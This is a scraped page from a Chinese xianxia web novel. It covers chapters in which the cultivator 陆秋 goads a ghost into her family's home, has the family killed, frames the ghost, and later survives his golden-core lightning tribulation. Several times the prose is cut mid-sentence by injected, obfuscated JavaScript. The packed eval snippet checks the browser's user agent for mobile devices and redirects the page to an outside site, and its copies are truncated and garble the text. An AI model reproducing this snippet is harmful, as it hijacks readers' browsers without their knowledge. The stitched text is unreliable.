翠叶走出去后,房间又陷入沉寂,过了片刻,他走到门前又将头向外四处看了看,随后轻轻关严了门。 一转身,就看见翠花正偷偷摸摸掀起桌布,露出半个脸来看他。 陆秋拉过椅子,刚要坐下,用手掌擦了擦椅子面,却摸了一手灰。他拿过桌子上半干的抹布,在椅子面使劲擦了几下,木头表面立刻有了水痕,他将抹布放回去,站着等椅子上的水痕消失。 “你还打算怎么办?”陆秋有种逼问的感觉。 “我,我也不知道。”翠花紧张的盯着地面,没听到陆秋的回答,又悄悄抬眼看过去,结果发现陆秋正在摸椅子面,觉得差不多干了,就坐了上去。 “一点计划都没有?”他眯起眼,似乎很不满意,但语气又是懒懒的,听不出情绪。夕阳透过窗子照在他身上,似乎给他描了一层金边,看起来也柔和了不少。 翠花正想着这人怎么有点光就刺眼就听到陆秋冷冷一句:“你都快消散了。” “啊?”翠花大脑一片空白,从尸体被做法埋了后,她就觉得清醒时间越来越少,起初没有在意,后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395925|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一睁眼就发现第二天了,而且连凝形都困难了,被陆秋这么一说,她也明白了。 “先别啊,问你几个问题,你给我回答。”陆秋打断她思考,直接问道:“我娘给翠叶那块银子明显对不上账,而且处理鬼哪有这么简单的,是不是那个老头为了省事贿赂的?” “是…” “你怎么就同意了?一块银子就能买你的命?” “当时买我只用了半块。”翠花看着夕阳要移到自己这边了,匆忙往桌子另一边爬。 陆秋无语了,只能说人贱是有原因的,他话锋一转,刺激她:“翠叶把那块银子给你爹娘了。” “爹娘养她这么久,给是应该的。”翠花垂头丧气的:“这条命都是他们给的,当然要报答他们。” “然后他们又吵了一架,翠叶决定和他们断了关系。” “这…这怎么行?没有她的聘礼,那弟弟怎么娶媳妇?” 陆秋气笑了,想说什么但又被气得不知道说什么,最后无奈的摇头,咬了不知道多少遍舌尖,终于觉得自己已经问不出什么了,才又抛出了最后一句话:“为了让师妹不再有牵挂,也不再后悔,作为师兄,我打算今晚就去杀了那一家三口。” 翠花果然破防了,几乎是一瞬间就又凝回实体,力量也强了不少,眼神中更带上了不少的警惕与恨意。陆秋看到这一幕,气得更是不再装了,将属于筑基期的威压释放出来,虽然并不算强,但对上一个小鬼还是绰绰有余。 他收起笑,语气也不再有起伏,双腿交叠,一手撑着头,一手摩挲着食指上的朱砂戒,冷冷道:“你要意识到,那女的是你要我们救的,我们不管她,她也会重复你的命运,而你——”他皱眉:“别不识好歹,到处狗叫。” “他们还罪不至死,没必要——” “去呗。”陆秋冷笑:“你去试试呗,他们绝对不认你。” 翠花起初不相信,当真正站在大门外时,她还有点恍惚,所以此时也并没有注意到自己凝成的实体能让普通人也可以看到。 正当翠花看着新换的门槛时,就听见一声女人的尖叫与东西摔落的声音,刺耳的把她直接从回忆拉到了现实。 她看见娘把洗完的碗都摔了个粉碎,惊恐的坐在地上看着她,她只想扶起来娘,在靠近几步时看见娘手脚并用的向后爬,甚至被碗碴割到了手依然毫无察觉,只是害怕的尖叫着,叫她不要靠近。 在她的视角中,眼前的女儿,是索命的厉鬼,因为恨他们将她卖掉,不然怎么会死后还会回来呢?但他们也是有苦衷的,要不是儿子还要娶媳妇,怎么会把大女儿买了呢?弟弟这时拿着仙长提前给他的镜子跑了出来,对着翠花就照,口中喊道:“去死!去死!” 镜子其实就是普通镜子,贴了几张没用的黄符纸,不过翠花看见镜子里的自己时,才真正意识到了自己死后的模样有多么吓人。 皮肤是枯黄的,眼圈青黑,隆起的肚子已经不再动弹,瘦小的身体也是畸形恐怖的,像是打断又重新拼接上的猴子。她也绝望的尖叫了起来,弟弟以为镜子有用,竟然双手拿着镜子冲翠花用力砸去,眼睛红的像是要滴血。 本来凡品物品对于鬼应该是没有任何伤害作用的,但这么一下下真的打到翠花身上时,她感到了疼痛,像是回到了以前还在家里的时候,也是这么被弟弟随便拿起东西打。 又被砸到血液从头顶流过眼睛,糊住视线,睁不开眼睛,她倒在了地上,耳边是那三人的说话声,随后又是风声,就听见了重物相继倒地的动静,以及什么东西在地上桄榔几声还没停下时就被拾起。 不过什么都不重要了,什么都是无所谓的,她没有机会在意这么多了。 “我给过你机会的。”她听见陆秋蹲在身旁喃喃道:“不过看在我心善,便不让你灰飞烟灭,你自己悠着些,去找个好人家投了吧。” 8. 翠叶(8) 翠叶躺在床上翻来覆去睡不着,身边太寂静,总会让人乱想,她还在愧疚今天为何这么冲动,和爹娘大吵一架。 不过没有多久,房门就被敲响了,她连忙穿上外衫,拖拉着鞋子去开门,看见门外站着穿着中衣和长衫的,十六七岁的陆秋。 她今天看见陆秋的模样其实有被惊讶到,但还没来得及想就被秋络带了节奏,也想不起来问,正当她想问这是怎么一回事时,陆秋面带悲色的轻飘飘一句,几乎把她压得喘不过气来:“你爹娘……遇害了。” “什……怎么会!”她几乎失声,腿一软差点站不住。 “刚刚村长连夜带着人上来的,说看见了……你去看看吧。” 他闭上眼,深吸一口气,不再回答。翠叶系好长衫就跌跌撞撞跑出门,向院子跑去。 村长一行人见她来了,停下和秋络的交谈,神色凝重的看着她,让她别害怕,多考虑以后的事。这么大的动静自然把另外三人也闹醒了,听到情况后,那几人也提出要一同去。 他们在林中快速走着,每个人的内心几乎都是焦急与不安,但一见到家中这幅模样,翠叶只觉眼前一黑,耳边嗡鸣着,她扶着门框,缓缓坐到了门槛上。 黄琳看她穿着单薄,刚入门的修行者和凡人还是没有多少区别的,担心她受凉,就顺手把自己的外衫也给她披上了。 水缸旁是一具干尸,血液主要集中在头部,顺着流到了脸上,不过已经呈棕褐色,人们一眼就能看出那是他们家的大女儿翠花。另外三人身上有不同的伤口,不过看着都是被利器划伤致死。 “厉鬼索命。”陆秋在寂静中出声判断道:“索了命,执念就消失了,鬼也会相应的死亡,只留下尸体。” 一群人都不说话了,这里对女人好的屈指可数,所以为什么来索命,大家在心中都是有数的。 村长想起来自家姑娘也嫁出去好几年了,看着眼前的惨状不禁害怕起来,他试图否定陆秋的话:“以前也有不少姑娘嫁出去,怎么偏偏就有翠花回来索命呢?”他瞪眼道:“小伙子,看你年纪轻轻,不要乱说。” 陆秋冷脸,转头看向站在门外的黄琳,与他对视一字一句说道:“若不信我们,就让你们请的人来检查吧,我听听还有什么花样。” 黄琳心里苦极了,自己只是觉得蹊跷前来凑个热闹,怎么偏偏又有个嘴欠的村长把他推出来了。 他开始只是觉得陆秋单纯看自己不爽,听到村长的怀疑更是觉得窝火罢了,结果等他摸上尸体伤口的刹那,一股魔气从指尖缠住他,冰冷的感觉直冲头顶。 冷汗瞬间从头上渗出,他不确定的回头扫了一眼众人,但当目光经过陆秋时,发现他还真的一直在盯着自己,几乎瞬间想明白了。其实论实力他打得过,但最轻也是半死不活了,更不要说陆秋背后的父母,都是无法估测实力的大能。 机灵如他,反正骗人那么多年,多一仇不如多一缘,有个人脉是好的,于是他皱起眉头,沉重的对村长说:“是那个女鬼杀的。” 村长不说话了,啪嗒啪嗒抽起烟,空气中除了烟味还有种难言的氛围。最后村长主动提出这已经过了半夜,干脆去把还放他家的尸体处理了。 为了表示自己对于陆仙长的信任,他主动说:“小仙长一定也有处理尸体的法术,这来都来了……” 陆秋从鼻子发出哼的一声,但没有拒绝,黄琳顺着台阶下,也要同去,但他是真的一秒都不想和陆秋呆一起,所以正当他心里焦急的时候,一旁的黄盛也反应过来了,便向前一步问道:“这些尸体难道就不管了吗?” “我会找人来的,再让叶丫头指挥。”村长又看了眼翠叶,像是怕她也成了女鬼,又匆匆收回眼。 黄琳期待的眼神看向翠叶,尝试拉动丝线操控她,但刚动了一下就被切断了,他当然知道是谁做的,自己这小心思暴露在人面前,他干脆装死不动了。 好在翠叶也没让他失望,披着人家衣服,再不给点感谢也不太好,她不想让这么多人的注意在她身上,快速移动到黄琳身后,小声说:“我有许多不会的,还要麻烦黄姑娘教我。” 黄琳突然感谢自己这女人装扮,不然到了村长家他还不得被陆秋处处撵,他点头:“就让黄盛和玉轩去吧,我在这陪着……姑娘。” 陆秋没再理他,和村长一起去了停尸房。叫停尸房貌似并不是很礼貌,毕竟是村长家的屋子,但是没地方放尸体,就只能搬到这里了。尸体为什么不腐烂他心里特别清楚,因为就是他爹做的法,他们家族祖传秘方,不知道可就丢人了。但想到这群人那种色眯眯的样子就让他作呕,而且还不知天高地厚想占他们便宜,更不能轻易放过。 “牙被掰了,舌头也都让割掉了。”陆秋经过一具尸体时,看见空荡的嘴巴,往里瞟了一眼,装作认真的模样分析:“这几人生前……是否嘴上没有把门的?” “是!是的。”村长看他认真起来,不自觉也跟着回答。 “难怪呢……”他一偏头,半合上眼,嗤笑一声:“嘴上没有把门的,门也不用要了。” 可不是嘛。黄盛在一旁满肚子牢骚想发又不敢发,嘴里把门的不就是牙么,现在牙都没了,还哪来的把门的,这脑子转的真快,真会忽悠人。 村长似乎悟了,虽然不知道他悟了什么,凭着他们的经验来看,要相信人思考的能力,他会自己说服自己的。就在几息后,村长缓缓开口:“所以……是报应。” “没错。”陆秋挑眉,只能说不愧是母子,一挑眉甚至有种奇妙的重叠感。这个时候不能说话,就要让对方自己悟,不然容易有争执。村长不愧是村里的老人精,十分上道,直接把逻辑圆了回去:“所以因果报应,他们还没有还完债,所以尸体不能腐烂!” 村长现在已经完全悟了,这么一说这几个家伙也是死的应该,但眼下重要的是怎么把尸体处理了。他不再去想这里人以前的恶行,而是急切的问陆秋这些人该如何处理,他也不想让这么多尸体占着自家院子,日夜相处可太考验心理素质了。 陆秋看着他,缓缓吐出几个字:“你知道的。” 村长作为一个凡人,能知道那才是有鬼,但仙长都发话了,他也只能硬着头皮去想。见他想的困难,陆秋给了他一个提示:“既然是因果,那么就要报应来解决。” 村长又恍然大悟,他有些不可置信的问道:“真要这样吗?” “自然。”陆秋看似认同,其实他连村长说的方法是什么都不知道,但村长接手,就没他什么事了,多一事不如少一事,等村长忙完了自己再让尸体开始腐烂就可以。 他们这一来一回把旁边两人也看傻眼了,冯玉轩的家族虽然是风水世家,但他也只是跟着大伙一起去了浮海城,共同学习一些基础的东西。所以他们看见尸体时,只能判断不是正道人士下的手,但听到了陆秋这话,心里发笑:哪来的鬼修这么闲,专门惩恶扬善。 没想到全程没有他们的事,村长就自己说服了自己,还像对待救命恩人那样恭恭敬敬的请他们离开,表示自己会处理这件事,到时还请他们也来帮忙。 三人离开村长家去翠叶那里,刚一进门就看见黄琳轻揽着翠叶,翠叶将脸埋在他颈窝,一副姐妹情深的温馨画面把陆秋看的血压飙升,他现在已经开始盘算着什么时候宰了黄琳比较好。 也许也要把那两个也宰了,陆秋边想边向那两人看去,凉飕飕的眼神把他们看的一动也不敢动。黄盛现在也不知道现在该叫他哥还是姐,就撞了一下冯玉轩,想让他去打破僵局。 冯玉轩可不做这种毁气氛的事,所以像不懂他的意思似的就站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秋络的心法就是这样,实力强是真,但对本人的损害也很大。比如读心,他还远没有到达秋络的程度,所以现在只能听到几句话或者几个词,但每次使用都会产生剧烈的头痛。 既然头疼,那么脾气自然也不会好到哪里去,所以在处理事情中一遇到不开窍的蠢人就容易发火,事后又解释不清楚,最后就只能和秋络学着干脆从一开始就全瞒住,把人全都套进网中,有怀疑的人就灭口,这样省时省力又省心。 但他还是有底线的,只对愚昧的蠢人这样,因为他也没什么信心去骗更精明的人的。 一路飞到院中,他感到头脑都放松了许多,想着一会还有热闹去看,就不禁又高兴的哼起小调来,直到撞见在屋中给秋络捶背的陆夕月。这才清晨呢,美好的心情一下就没了,陆秋看着二人,不赞同的皱起眉。陆夕月察觉到他的目光,贱贱的说道:“这是我老婆,你去找你老婆啊!” “哼。”陆秋愤怒的离开了。 可能是好几天都连轴转的原因,陆秋本想打坐,但摸到还算柔软的被子时,他决定睡一觉补补精神。 这一觉睡得确实不错,没有做梦,没有外界吵闹,但唯一不足的地方就是当他意识清醒了,一睁眼就见秋络和陆夕月两人搬了板凳坐在他床前瞪眼看他。 他一翻身就坐了起来,看着秋络,张嘴半天终于想起来要问的问题,于是迅速用拇指将食指上的戒指转了半圈,取出个贴了符的镜子,语气沉重的问道:“这个镜子是你给的?” 秋络也爽快的承认了:“对。” “为什么给他?咱明明都不想帮他们的。”陆秋生气又疑惑,等着秋络给他一个回答。 “我要是不给他,他怎么能杀翠花呢?”秋络笑起来,像极了得逞的狐狸。 “你怎么这么笃定他会杀翠花?不对,你怎么能肯定翠花还会回去?”陆秋疑问更多了,他本认为自己已经是事件的背后推手了,没想到秋络更胜一筹。 9. 翠叶(9) “很简单啊。”秋络食指动了动,桌上的一杯茶水就自动飞到了她的手中,和平时讲故事一样,她先抿了口茶水,耐心的教陆秋。 “一开始我们提出答应她,并不是必须要帮她,帮她也讨不到什么好处,所以我们的心态不都是看乐子吗?” “是……” “但她是无趣的,再加上她的愚昧没有按照你的计划来走,所以你会觉得愤怒,在陆家心法的影响下又会做出极端的事情。” 陆秋不服气的望着她,但事实上就是这样,他也没有任何话来反驳,在这短暂的寂静中有些不耐烦了,着急地问:“所以和你给镜子有什么关系?” “镜子是给你留的借口。”秋络叹气,觉得这个儿子有点傻:“以你的实力,全杀了都可以找到替罪羊,但你若是被怀疑,可直接拿出镜子来证明是翠花杀的,这样更便捷。” “啊?”陆秋拿着镜子翻来覆去检查,没发现有什么能作证的功能,怀疑的看向她。 秋络真的无语了,提醒他:“反正都是一群凡人,到时候说这镜子有记录的功能,伪造个影像放出来,众人不就信了吗?” “哦。”陆秋干巴巴的回应,每次秋络和他复盘时他都有种被碾压的感觉,无论是实力还是脑子。见他不说话,一直沉默的陆夕月开口了:“没事,儿子,虽然你没想到这么多,但是你要相信总有巧合会发生的。” “什么是巧合?”陆秋诧异的抬头看他:“翠叶能踏上修仙的路是巧合吗?这个镜子给出去是巧合吗?不都是经过了算计的吗,哪里会有真正的巧合。” “是这样的。”秋络赞同的点头附和:“我们总以为我们已经走得足够高了,但还会有更高层的人在背后推动。” “那最高呢?”陆秋瘪嘴,虽然这个答案对他来说并不重要,但还是想听。 “这个世界最高的控制者是天道,天道编撰人们的命运的,所有人都在祂的计算中。” “那还有没有别的世界?”陆秋有了兴趣。 “当然有。”不过秋络貌似并不想进行这个话题,糊弄他道:“以后等你自己去探索吧,人要活在当下,比如——你该去收拾残局了。”随后便和丈夫出了房间,给陆秋私人空间。 陆秋沉默着穿戴整齐,当看到那个放在桌面上的镜子时,思索一番后还是反向转了半圈戒指,把镜子收了进去。 没有心法的影响下他的精神还是很稳定的,身体不适才会给他带来扭曲的情绪和想法。而他现在精力充沛,又处在一个相对安全的地方,不用时时紧绷着精神,所以那些被戏耍的人的表演对他而言,也不是什么能看的热闹了。 当思绪平静下来,他也对自己冲动做出的事感到匪夷所思,同时又有些懊恼自己怎么会成这样,成了自己都不愿意见的样子。但思索过后,又觉得这群人属实愚昧,他这么做是一刀两断,免去了不少的人情世故与麻烦,只是在几个坏方法里选了相对好的那个,这么一看,自己还是对的。 他没有特意用灵力提升听力,所以听不见山下人们在吵什么,只能听见院中鸟儿叽叽喳喳的叫声,几只叫唤的鸟停留的那棵樱桃树已经冒绿芽了,今年应该也能吃上樱桃。 他突然觉得自己爹还挺仁慈的,没有一年四季都把树停留在飘花的状态,不然他娘又要怪他爹没脑子,只顾着好看,都不考虑吃。 好像也不是仁慈,是为了他娘吃樱桃才让树自由生长的。陆秋的大脑已经完全放空了,脑海中甚至浮现出他娘拿着鞭子追着他爹抽的场景,觉得以后自己一个人在山里住貌似也不错的,至少清净。 不过他貌似真的需要找一个清净的地方了,从来到这里就在不停修炼,说是筑基期,他却在最近又感到有突破之势,可能是快要结丹了,才会有那么多坎坷提前磨磨他的心性。 结丹怎么办其实他根本就不用管,毕竟他爹娘会为他做好足够的准备,而且他从小又是同辈当中的佼佼者,经过无数次分析与考验,最后得出的结论便是:最差是个上品灵丹,不会有别的结果,因为事实就摆在这里,他很强,以后还会更强。 当山下恢复寂静时,陆秋也到了事发地点,虽然不知道发生了什么,但看着被摆在村口几具尸体身上被扎的跟个马蜂窝似的,突然就觉得良心貌似有些痛。骗的貌似太过了,他本来想着象征性的让人骂骂就完事了,结果……看起来这几人人品确实不行,不然怎么会有这么个下场。 不过做都做了,再说也没什么意义,他摇摇头,盖住心里的无奈,对旁边站了许久的村长说:“从今天开始。他们将会按照正常尸体那样腐烂了,不用担心。” 村长还有疑惑,瞟了一下尸体问道:“那……埋了?” “埋了,不用再担心了。” “你怎么能证明好了?我们这都看着呢,一点变化都没有。”旁边有村民站出来反驳。 “你可以放到你家,天天观察,看看是不是真的。”陆秋心情好,还给他解释。 那个人不说话了,显然,谁都不想几具尸体放自家烂了,就让村长叫了几个壮汉去拖到后山把人埋了。陆秋在刚刚就解开了上面的诅咒,这件事就算告以段落了,不过他貌似还忘了什么。 好像忘了什么。陆秋背手走在山上的青石阶上回想还有什么事,但怎么都没有想到,干脆就放过自己,不去想了。这好心情又回来了,让他不由感慨人生真是起起落落,清早被打扰很烦,但是睡一觉再把事情解决了心情又好了,即将结丹虽然平添了几分紧张,但一切还是向好的不是吗。 带着好心情美滋滋的踏进院子时,他突然想起来自己忘了什么。 那三人和翠叶回来了,他还要处理这几人。 人生真是起起落落,这好心情又没了。 秋络这时开口,确实给陆秋解除了不少压力:“翠叶以后就跟着为师修习吧,不用担心其他事情。” 看来这个是不用管了。他又看向黄琳,黄琳紧忙接话:“我们也只是外出历练,不久便走!”他还挺直了背,试图用动作让陆秋看到自己的诚意。陆秋摆摆手,反正翠叶不归他管了,只要这几人不打扰他,他也没必要和人一直对着干。 不知道秋络和翠叶说了什么,可能还有心理控制,翠叶的情绪明显好转了很多,已经不是正常这个年龄段的人的转变速度。 再加上诱导。陆秋默默在心理补充:黄琳肯定也参与了,只不过出力多少就不知道了。 翠叶貌似下定了决心要与过去拿一家子人断的干干净净,不仅把那家里全部东西都变卖了,还将家人的尸体都烧了。当听到都烧了时,陆秋僵硬的转头,有些不可置信。 在这里怎么会有人同意烧掉,不都是入土为安吗?再知道翠叶也将名字改掉时,更品出了一丝荒谬,看看旁边人都没有丝毫意识到有什么不对时,他觉得平静下来的自己可能是这里唯一的正常人了。 他转身就去了后院找陆夕月,找他说明自己的情况,陆夕月一脸平静的听完后,二话不说掏出一袋药瓶给他。 “啊?”陆秋结接过袋子,先是扫了一眼里面药瓶的数量,又怀疑的看着陆夕月:“不是,我要结丹了。” “嗯。”陆夕月点头,表示知道了。 “结丹诶!”陆秋又一次强调。 “嗯!”陆夕月再一次表达肯定。 “结丹啊!决定着以后修仙程度的啊!”陆秋皱眉重复。 “我知道啊。”这次换陆夕月同样皱眉诧异了:“干嘛这么紧张啊,不就是结丹嘛。” “你当时不紧张吗?”陆秋反问他:“这可是在家族中决定地位的机会啊。” 陆夕月紧皱的眉头突然松开了,他又懒散的倚在椅背上,语重心长对陆秋说:“儿子啊,人生不止在家族里面的,你还有更多的地方要去。” 陆秋更气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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打磨也不是好做的,如果说内丹被劈是一下剧烈的疼痛,那么打磨就是不停被啃噬的细碎的痛感。头上一片冰凉,不知是雷击带来的冷风吹的,还是密密麻麻汗珠带来的凉意。 经常有修士会数雷击的次数,但那也只是书中说说,事实上大家都还没有什么准备雷劫就来了,都在狼狈应对,谁还有那个心思去数几道雷劫,如果有数次数的,那就是在一旁看热闹的人了。 “多少了?”秋络悠闲地坐在摇椅上问陆夕月,她光着的脚贴在地板上。地板烧的十分暖和,在屋内仅穿一层中衣就足以抵挡倒春寒带来的寒意。 “快了,我看着雷都小了。”陆夕月反正也闲的没事,趴窗户旁边看另一座山上雷电不停的景象,咂巴两下嘴,有些不确定的对秋络说:“我看着这个雷的强度……可能得是个上品灵丹。” “至少是上品。”秋络纠正道:“你听那动静,你个上品灵丹当年动静都没这么大。” 陆夕月突然扭头看向她,秋络也警觉起来,试图用眼神威慑他不许乱说话,但是威慑没用,在下一秒就听见陆夕月欠揍的声音传来。 “你果然在关心我,还不承认。” 秋络面无表情的看着他:“我突然想起来一件事。” “嗯?”陆夕月歪头:“什么事?” “我们好像没给丝丝说,最后一道雷才是最猛的,而且出其不意。” 两人面对面陷入沉默,随后一致的看向外面几乎已经停止了的雷,两人相继翻窗御剑迅速飞过去,还不忘把屋内烧着的蜡烛灭掉,以免天雷带来的余波点燃屋子。 另外屋里的几人也睡不着了,看着二人匆匆飞过去的黄琳还正在奇怪着,小声和黄盛碎碎念:“这最后一道还没降下,怎么就过去了,不怕被连着劈啊。” “可能是顶不住了?”黄盛大胆猜测。 “不会是不知道还有最后一道吧?”冯玉轩补充道:“当时黄琳第一个金丹,大家不都是不知道还有最后一道?” 三人随后看向天空,只见越来越亮的一个圆球状东西正准备降下。 10. 翠叶(10) 陆秋发现周边已经没了雷电,正想放松时,就听见秋络的声音以一种极其着急的语气传来:“还有一道最大的!” 就在他抬头的那瞬间,一道三人合抱粗细的雷就劈了下来,像是被扔到瀑布中一样,白光完全吞噬了他,赶去的二人被雷光刺得睁不开眼,在巨大的轰隆声中陆夕月直接将秋络拉进怀中落到地面,躲到较粗的一颗树后坐下,展开灵力结界等待结束。 不过二人对于防御类的结界并不熟悉,所以此时挡不住雷声,也就只能阻挡一些汹涌灵力。 “我刚刚说的话他听见了吗?”秋络捂住耳朵问陆夕月。 “什么?”陆夕月喊:“我听不见!” “我说!”秋络也扯着嗓子喊:“他听见我说的话了吗!” “不知道!”他又探头去看陆秋怎么样了,还没看见就又被刺眼的光逼退了。 陆秋刚刚在听到秋络的话后就立刻重新调息,虽然有了准备,但也没想过会有这么强劲。 只觉得喉头涌上一股腥甜,紧接着就是血液从口鼻一并喷出,还有残留的倒回气管,呛得连呼吸都不顺。 调息被迫中止,雷劈在身上又有了实打实的疼痛,耳边轰鸣声太大都变成了嗡鸣,带起头疼与反胃,体内刚打磨好的金丹又有了被击溃的趋势。他只好不顾疼痛,专心稳固内丹,在不断咳嗽出血沫的情况下想集中注意力确实困难,不过好在无论这道雷有多强,终究只有一道,而这道雷又不知怎么搞得,把内丹上还有些不足的地方竟直接冲刷平整了,最后成了几乎完美的一个球状。 很明显,这道雷劫顺利过去了,远处二人远远看了一眼便放下心来,等着陆秋把周围灵气吸收干净。灵气像是受到了某些牵引,纷纷朝陆秋的方向涌去,而他本人像是一个无底洞,疯狂吞噬周边灵气,储存到丹田之中。 直到天边泛起鱼肚白,露珠出现在了草叶上,陆秋才呼出一口浊气,缓缓睁开眼,感受到这具经过了雷劫锻过的身体充满力量,不仅是五感上有了提升,连体内的灵力容量都多了不少。 如果将灵力比作水,那么筑基期是一杯水,而到了金丹期则是一缸水,两者区别大的可不止一星半点。本来刚被雷劈过头脑还有些发蒙,但这会一想着看看自己能有什么样品质的内丹时,又紧张的清醒许多。丹田像是有感应似的不断发烫,连带着里面的内丹都热了起来,随后他便发现自己内丹是暗红色的,上面还有金色的细闪,其中又有紫白色的电流不断围绕着内丹打转。 什么等级?陆秋一瞬间有些迷茫。一般内丹的颜色都是按照自己灵根属性颜色来的,他是火灵根,所以是红色内丹,但是金色细闪哪来的,他又没有金灵根,而且那个电流是怎么回事。陆秋坐在原地发呆,看见秋络和陆夕月走来,在他面前蹲下问他:“怎么样?” “不知道。”陆秋如实回答。 “累吗?”秋络掏出手帕给他擦去额头上的汗。 “还好?” “手给我。”陆夕月拉过他的手,仔细探查,最后拍了下他的手笑骂道:“这个样干什么,我还以为你结下品了,这不是上上品吗!” “啊?”陆秋皱眉:“那上面金闪是什么?” “是上上品的标志。” “那电流是怎么回事?” “雷灵根吧。”秋络猜测:“度雷劫很容易被劈出新灵根的。”她打了个响指,指尖闪出了一朵小小的火苗:“这是我分神期渡劫让劈出来的。” “你不是本来就有火灵根吗?”陆秋吃惊的看着火苗,他一直以为秋络本身就是土木火三灵根。 “不是啊,我就是木灵根,金丹期劈出来个火灵根,元婴期劈出来了土灵根。”秋络自然的回答他。 他也学着秋络打响指,搓到手指都疼了,最后指尖一热,就听“啪啦”一声,一道小小的电流就呲了出来,把手打的一疼,这下他也只能承认自己又多了条灵根。看着他没事了,这两人站了起来,看着陆秋还坐在地上,陆夕月不知又抽什么风,感慨了一句:“露珠的出现太过短暂,总在不经意间就离去了,但人类却可以留下它们。” 陆秋不解的看着他,直到秋络补上下一句:“我不记得你学过防水术,你不觉得屁股凉凉的吗?” 怪不得这两人蹲在这里,是地上有水啊! 陆秋迅速起身扭头看裤子,本来颜色就深的裤子一沾水看着更加明显,他怎么都算个金丹期,裤子湿了这多少都有些难堪。于是他脱下外衫简单的围在腰上,垂下的衣摆刚好遮住了屁股上的那块污渍。像是穿上了衣服的人,他又恢复了自信。突破了果然就不一样,知道自己还有上上品灵丹更让人高兴,就像准备了半年的测试,最后结束告诉你拿了第一那样令人兴奋。 秋络又掏出她的拂尘甩了甩,对陆秋说:“恭喜突破,现在我们的丝丝,可以去拆贺礼了。” “在你房间里。”陆夕月冲他眨眨眼。 陆秋二话不说御剑就飞走了,到了房间从打开的窗户跳了进去,然后用灵力迅速搜索一遍,最终将目光锁在桌上的一个小盒子中。盒子中是一个金戒指,镶嵌了一颗椭圆红玛瑙,两旁各有一颗蓝色晶石,在黑色的绒布中发出微弱的光芒。 新的储物戒一下就吸引住了他,毕竟看着就贵气的东西确实很戳他的喜好,特别是奢华但不起眼的宝物。他拿着戒指打量许久,将食指上的朱砂戒替换掉了,又查看里面的物品,发现里面全是金丹期的用品。这样一来那个朱砂戒指就没用了,他从里面挑挑拣拣拿出几样还算喜欢的东西,剩下的就当做垃圾放到一边了。 翠叶现在才刚进入练气期,用不上这些,那就简单归类一下,明天拿去卖掉好了。他又设置了一下新戒指的开启方式,盘算起来这些东西能卖多少钱了。 他的东西当然归他管,不管是不是需要的,扔掉也好卖掉也罢,就算去送别人也不会有人说一句的。 “这是凛舒配的吗?”陆秋又拿了几瓶药出来,只觉眼熟。 陆夕月飞的快,现在走到陆秋身边瞄了一眼那小瓶:“嗯,他也快要出来历练了,你回去多少也劝劝他,免得他一天到晚就在药田里待着。” “我才不劝呢,他喜欢那些灵草,我为什么还要让他放弃?”陆秋对于自己竹马喜好拎得很清,此时也不说究竟是要怎样,就选择闭嘴不劝,不做那个坏人。 秋络这时也回来了,她敲敲窗沿,看向摆在桌上的镜子,问道:“那镜子还要吗?” “不要了,你要的话就拿走吧。”陆秋拿着镜子递给她。 “这个再加工一下还能当个地级法宝。”秋络利索的把上面的黄符撕掉,又把镜面拆了下来,看着陆秋已经换上的新储物戒问:“喜欢吗?” “喜欢,特别喜欢!娘最好了!”陆秋现在脸上的笑都遮不住,看他喜欢,秋络也很高兴,毕竟没有人会在这种情况下不心软的,更何况这是她养大的儿子,或许本就该这样骄傲。 “芥子空间里面还有几本功法,你看看对哪个感兴趣,可以去学了。”秋络也笑眯眯的提醒他:“按照上面的方法修炼就行,通常不会走火入魔的。” “是魔修的功法吗?”陆秋听她这么一说,瞬间来了兴趣。 “有几本是的,但再怎么邪门的功法,应该都邪不到我们家心法的程度。”秋络挑眉耸肩作无奈状。 陆秋想到以前还没有被秋络改良过的心法,不自觉打了个寒颤,问道:“那有没有新的心法,咱家这个心法我不想学了。” “有,反正你灵根都多了一条,找个更合适的修炼呗。” 秋络又从自己的芥子空间翻了翻,掏出了五六本心法,一一介绍:“这个是火灵根的专属心法,学了后就有驱寒体质,很适合去雪原等一些极寒之地;这个是水火灵根皆可修的,感觉用处不大,算了;这个……哪来的冰灵根心法?” 秋络拿着那本冰灵根心法翻了两页又合上了,碎碎念道:“冰灵根百年难有一个,而且又都是后天变异才有的,目前最年轻的一个冰灵根的都要五百岁了。” 陆秋一下就盯上了那本冰灵根心法,拿来翻着看:“你怎么还有冰灵根的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这个叫思尘,它会教你如何使用它的。”陆夕月不顾形象的半躺在椅子上,双手搭在两边的椅子帮上:“这东西可以记录你现在身体的状态,在一定时间后身体状态回到记录开始的那一刻。” “就是说……”陆秋在脑海中寻找着合适的措辞:“我在战斗前开启记录,打完后无论是灵力亏空还是缺胳膊少腿的,都能回复到战斗前吗?” “是的。”陆夕月点头。 “那有什么副作用?”陆秋以前被坑的怕了,一想到这个东西这么强,想必副作用也不可小觑。 